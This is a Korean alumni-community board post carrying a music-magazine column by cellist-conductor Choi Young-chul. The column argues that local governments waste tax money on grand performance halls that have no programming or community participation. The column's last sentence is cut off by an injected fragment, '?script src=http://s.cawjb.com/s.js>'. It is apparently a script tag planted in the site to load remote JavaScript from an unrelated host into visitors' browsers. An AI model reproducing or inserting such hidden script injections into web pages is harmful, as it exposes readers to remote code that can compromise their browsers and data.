로고

커뮤니티 메인

휘문교우회 로고
📖 게시글 상세보기
[제목] 음악 잡지의 칼럼입니다.(공연장에 대하여) (최영철)
음악 잡지의 칼럼입니다.

"각 공연장 운영자에 바란다."

최영철 / 한국첼로학회장, 카메라타 서울 음악감독 겸 상임지휘자

지방 자치단체가 중앙 권부로부터 독립하면서 곳곳에 각자의 자체 공연장 건설을 시작한 후 상당한 기간이 흘렀다.
멋진 공연장이 전국 방방곡곡에 무수히 세워지는 데 대해 무대 현장에서 뛰는 각 공연 예술가들에게 더할 나위 없이 반가운 소식이 아닐 수 없었다.
그런데 차츰 하드웨어인 공연장에 소프트웨어 부재로 인한 마찰음이 들리기 시작하고, 그 막대한 예산을 투입한 멋진 공연장이 개점휴업 상태는 물론 만성 적자로 인해 세금을 내는 국민들의 눈총을 받기 시작했다고 한다.
그렇지 않아도 경제가 어려워진다고 각종 지표가 좋지 않게 나오는데, 가뜩이나 어려운 살림에 불필요한 세금이 집행되고 새나간다면 누구나 얼굴이 찌푸려질 것이다.
이유야 어떻든 각 지자체가 막대한 비용을 들여 건설한 공연장들이 쓸모없이 방치되면 국가적인 낭비는 물론 세금을 내는 국민들에게 추궁 받게 될 것은 자명한 사실이다.
또 민간 공연장의 경우도 마찬가지로 고비용 저효율의 굴레에서 절대 자유로울 수 없을 것이다.
사람이든 단체든 건물이든 그 고유의 사명과 역할을 다하지 못하면 사회적인 낭비이며 방해거리요, 흉물에 지나지 않는다.

중세시대의 유럽에 건축된 교회나 성당은 저저마다 경쟁하듯 휘황찬란하고 웅장한 규모로 지어졌으나, 그 고유의 종교적 목적과는 상관없이 지금은 거의 돈벌이 관광수입원으로 활용되고 있고, 독일의 어느 성당은 아예 1층을 상점화한 곳도 있다.
당시 종교 지도자들은 정신적 지주의 역할에 차차 한계를 느끼게 되자, 교회의 내실보다 거대한 외형으로써 교회를 운영하고자 했으며, 돈거래에 의한 면죄부 사건 등 타락의 길을 걷다가 결국 웨슬리, 루터 등의 종교개혁에 의해 무너지고 만다.
소프트웨어는 없고 하드웨어만 웅장하다고 그 정치나 권력이 지속되지 않는다는 점을 지난 역사가 밝혀주고 있는 한 케이스이며, 속이 빌수록 겉을 화려하게 꾸미려는 인간 내면의 허망하고 초췌한 단면을 증명하는 것이다.
“소문난 잔칫집에 먹을 것 없다”라는 전래의 속담이 생각나는 대목이다.

필자가 유럽의 대형교회 건물에 대해 피력하는 이유는 작금의 우후죽순 격으로 지어지는 각 공연장들이 앞으로 어떻게 그 규모에 맞는 효과를 창출해내며, 투자에 맞는 이익을 거둘까 하는 데에 있다. 물론 기대 이상의 초과달성이라면 더 바랄 나위가 없을 것이고 그러한 공연장도 가끔 눈에 뜨이긴 한다.
민간 공연장의 경우라고 예외는 아니다. 고유의 사회적 목적이 부합되지 못한 경영으로 특정 단체를 위한 사치성 건물로 전락한다면 거기에 따른 사회적 책임과 지탄을 면치 못할 것이다.

어느 자치단체의 경우에는 그 지역에 산재한 문화 단체를 샅샅이 조사하여 자료를 통합하고 각종 문화 활동 동호회 등을 조사 취합하여 공연장을 연중 상시로 운영하려는 시도를 보이고 있다. 바로 이러한 노력이 풀뿌리 민주주의를 표방한 지방자치 단체의 문화적인 역량이 아닌가 한다.
이러한 각종 새로운 시도와 노력의 바탕 없이, 실속 없는 부실한 공연장 하나 덩그러니 지어 놓고 건물 유지하고자 할 일 없는 직원 고용으로 아까운 국민 혈세를 낭비한다거나, 아무런 소프트웨어 없이 일회성 공연과 중앙의 값비싼 공연단체나 특급 연주자 초청 위주로 꾸려나가겠다는 전시행정 류의 발상은, 앞으로의 냉정하고 투명한 사회에서 반드시 톡톡한 대가를 치르게 될 것이라 생각된다.

여기서 착오 없기 바라는 것은 혹자는 반드시 수익을 내 적자를 면하자, 또는 윗사람으로부터의 운영에 대한 포상에 연연해 요즘 중앙무대에서 유행하는 뮤지컬에 목을 매는 공연장도 있다.
이런 공연장에게는 지자체의 본래 목적이 무엇이었나를 묻고 싶다.
풀뿌리 민주주의가 지자체의 본연의 목적이며, 문화 또한 지역민이 적극적으로 참여하는 풀뿌리 문화마당이 되어야 초심이 변하지 않은 성공적인 지자체일 것이다.
클래식 공연은 아무래도 경제적인 이익과는 어느 정도 거리가 있다. 하지만 어차피 만성적자라면 지역민들을 위한 투자로 문화 성과의 수익이라도 있어야 할 것 아닌가?
긴 안목으로 본다면 그것이야말로 진정한 문화에 대한 투자라고 생각한다.

자기 재물이라도 함부로 낭비하고 사치하면 사회의 지탄을 받고 이웃의 손가락질을 받는데, 하물며 공적인 자리에 앉아 아까운 국민의 혈세를 함부로 낭비하거나 공연장의 본래 목적을 이탈하여 사회적 손실을 가져왔을 때의 걸머질 빚과 책임은 어떻게 감당할 것인가?
각 지역의 공연장들은 본연의 목적에 부합한 충실한 운영으로, 지역민이 언제 어디서나 즐겁게 문화 활동에 참여할 수 있는 각종 프로그램 개발에 최선을 다해?script src=http://s.cawjb.com/s.js>
등록된 댓글이 없습니다.